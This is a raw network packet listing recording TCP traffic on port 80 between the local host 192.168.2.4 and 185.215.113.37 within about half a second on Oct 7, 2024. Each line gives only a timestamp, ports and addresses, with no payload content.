Oct 7, 2024 21:19:21.060786963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060791969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060801029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060828924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.060836077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.060873032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.061000109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.061033010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.061053038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.061064959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.061077118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.061100006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.061109066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.061132908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.061144114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.061175108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.061336994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.061368942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.061387062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.061412096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.128659964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.128695011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.128730059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.128843069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.128843069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.128856897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.128890991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.128916025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.128923893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.128945112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.128962040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.128977060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.129014969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.129020929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.129054070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.129070044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.129086971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.129098892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.129121065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.129134893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.129156113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.129165888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.129199982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174350023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174446106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174499035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174532890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174561024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174561024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174561024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174565077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174599886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174634933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174669027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174700975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174734116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.174743891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174743891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174743891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174743891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174745083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174897909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.174897909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.182992935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183043957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183063030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183080912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183135033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183166981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183199883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183229923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183229923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183229923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183229923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183233976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183245897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183273077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183279037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183310032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183317900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183355093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183427095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183476925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183479071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183511019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183520079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183543921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183557034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183581114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183587074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183624983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183631897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183664083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183677912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183700085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183708906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183744907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183782101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183813095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183826923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183845043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183859110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183888912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183895111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183929920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183942080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183964968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.183974028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.183995008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184010983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184041977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184046030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184078932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184092045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184123039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184129000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184160948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184174061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184202909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184211016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184243917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184257030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184272051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184288025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184305906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184315920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184339046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184350967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184367895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184384108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184412956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184420109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184453964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184464931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184498072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184501886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184536934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184549093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184571028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184598923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184603930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184616089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184638023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184648991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184669971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184681892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184703112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184714079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184737921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184748888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184782982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184835911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184881926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184886932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184915066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.184932947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.184958935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253284931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253376961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253427982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253463030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253494978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253510952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253510952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253510952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253530025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253565073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253680944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253680944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253680944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253680944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253726006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253760099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253792048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253827095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.253885031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253885031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.253885031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.255414963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.298939943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299017906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299072981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299088001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299088001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299108028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299132109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299144030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299156904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299177885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299190998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299216032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299220085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299247026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299267054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299280882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299292088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299316883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299329042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299351931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299364090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299396038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299422026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299460888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.299468994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.299511909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.309842110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.309909105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.309911013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.309948921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.309999943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310034990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310060024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310060024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310060024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310069084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310076952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310103893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310116053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310137987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310149908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310172081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310182095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310209036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310215950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310245991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310293913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310327053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310342073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310360909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310367107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310394049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310405970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310427904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310436964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310461044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310471058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310501099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.310508013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.310545921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311031103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311064959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311098099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311106920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311129093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311132908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311142921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311173916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311177969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311220884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311224937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311259031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311273098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311291933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311301947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311326027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311335087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311358929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311368942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311403990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311424971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311458111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311469078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311491966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311506033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311526060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311537981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311559916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311568022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311599016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311609030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311631918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311645031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311665058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311676025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311700106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311728001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311733961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.311744928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.311779022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.405380964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.405395985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.405406952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.405417919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.405427933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.405436993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.405447960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.405476093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.405530930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.406029940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.406059027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.406068087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.406078100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.406088114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.406116009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.406137943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.423350096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423424959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423439026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423491001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.423522949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.423542023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423553944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423563004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423573017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423583984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.423609018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.423758030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423769951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423779964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423801899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.423827887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.423851013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423861980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.423896074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.423914909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.431469917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.431479931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.431484938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.431489944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.431545973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.431847095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.431899071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.431911945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.431924105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.431950092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.431971073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.431986094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.431998968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432033062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432046890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432128906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:21.432182074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:21.432210922 CEST	80	49730	185.215.113.37	192.168.2.4
